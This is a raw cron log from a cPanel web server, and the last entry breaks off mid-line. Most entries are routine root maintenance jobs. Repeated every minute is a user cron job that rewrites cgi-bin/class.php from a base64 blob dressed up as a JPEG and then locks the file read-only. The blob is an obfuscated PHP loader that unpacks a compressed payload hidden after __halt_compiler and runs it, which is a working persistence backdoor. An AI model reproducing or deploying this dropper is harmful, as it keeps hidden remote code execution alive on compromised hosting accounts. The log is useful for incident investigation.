Sep  7 19:54:01 server CROND[28145]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 19:55:01 server CROND[28517]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 19:55:01 server CROND[28521]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 19:55:01 server CROND[28520]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  7 19:55:01 server CROND[28519]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  7 19:55:01 server CROND[28523]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 19:55:01 server CROND[28524]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  7 19:55:01 server CROND[28522]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  7 19:56:01 server CROND[29332]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 19:56:01 server CROND[29333]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 19:56:01 server CROND[29334]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 19:57:01 server CROND[29716]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 19:57:01 server CROND[29717]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 19:57:01 server CROND[29718]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 19:57:01 server CROND[29719]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  7 19:58:01 server CROND[30097]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 19:58:01 server CROND[30098]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 19:58:01 server CROND[30099]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 19:59:01 server CROND[30559]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 19:59:01 server CROND[30561]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 19:59:01 server CROND[30560]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 20:00:01 server CROND[30937]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  7 20:00:01 server CROND[30938]: (root) CMD (/usr/local/cpanel/scripts/shrink_modsec_ip_database -x 2>&1)
Sep  7 20:00:01 server CROND[30939]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  7 20:00:01 server CROND[30940]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  7 20:00:01 server CROND[30945]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 20:00:01 server CROND[30948]: (root) CMD (   bash -c 'sleep $((RANDOM % 1800))' ;imunify-antivirus imunify-patch subscriptions refresh > /dev/null 2>&1)
Sep  7 20:00:01 server CROND[30955]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 20:00:01 server CROND[30947]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 20:00:01 server CROND[30953]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  7 20:00:01 server CROND[30951]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  7 20:01:01 server CROND[31783]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 20:01:01 server CROND[31784]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 20:01:01 server CROND[31786]: (root) CMD (run-parts /etc/cron.hourly)
Sep  7 20:01:01 server CROND[31785]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 20:01:01 server run-parts(/etc/cron.hourly)[31786]: starting 0anacron
Sep  7 20:01:01 server run-parts(/etc/cron.hourly)[31804]: finished 0anacron
Sep  7 20:02:01 server CROND[32160]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 20:02:01 server CROND[32161]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 20:02:01 server CROND[32162]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 20:03:01 server CROND[32540]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 20:03:01 server CROND[32541]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 20:03:01 server CROND[32542]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 20:04:01 server CROND[464]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 20:04:01 server CROND[465]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 20:04:01 server CROND[466]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 20:05:01 server CROND[971]: (root) CMD (/usr/local/cpanel/bin/autossl_check --all)
Sep  7 20:05:01 server CROND[972]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  7 20:05:01 server CROND[974]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  7 20:05:01 server CROND[976]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  7 20:05:01 server CROND[975]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  7 20:05:01 server CROND[977]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 20:05:01 server CROND[981]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  7 20:05:01 server CROND[978]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0u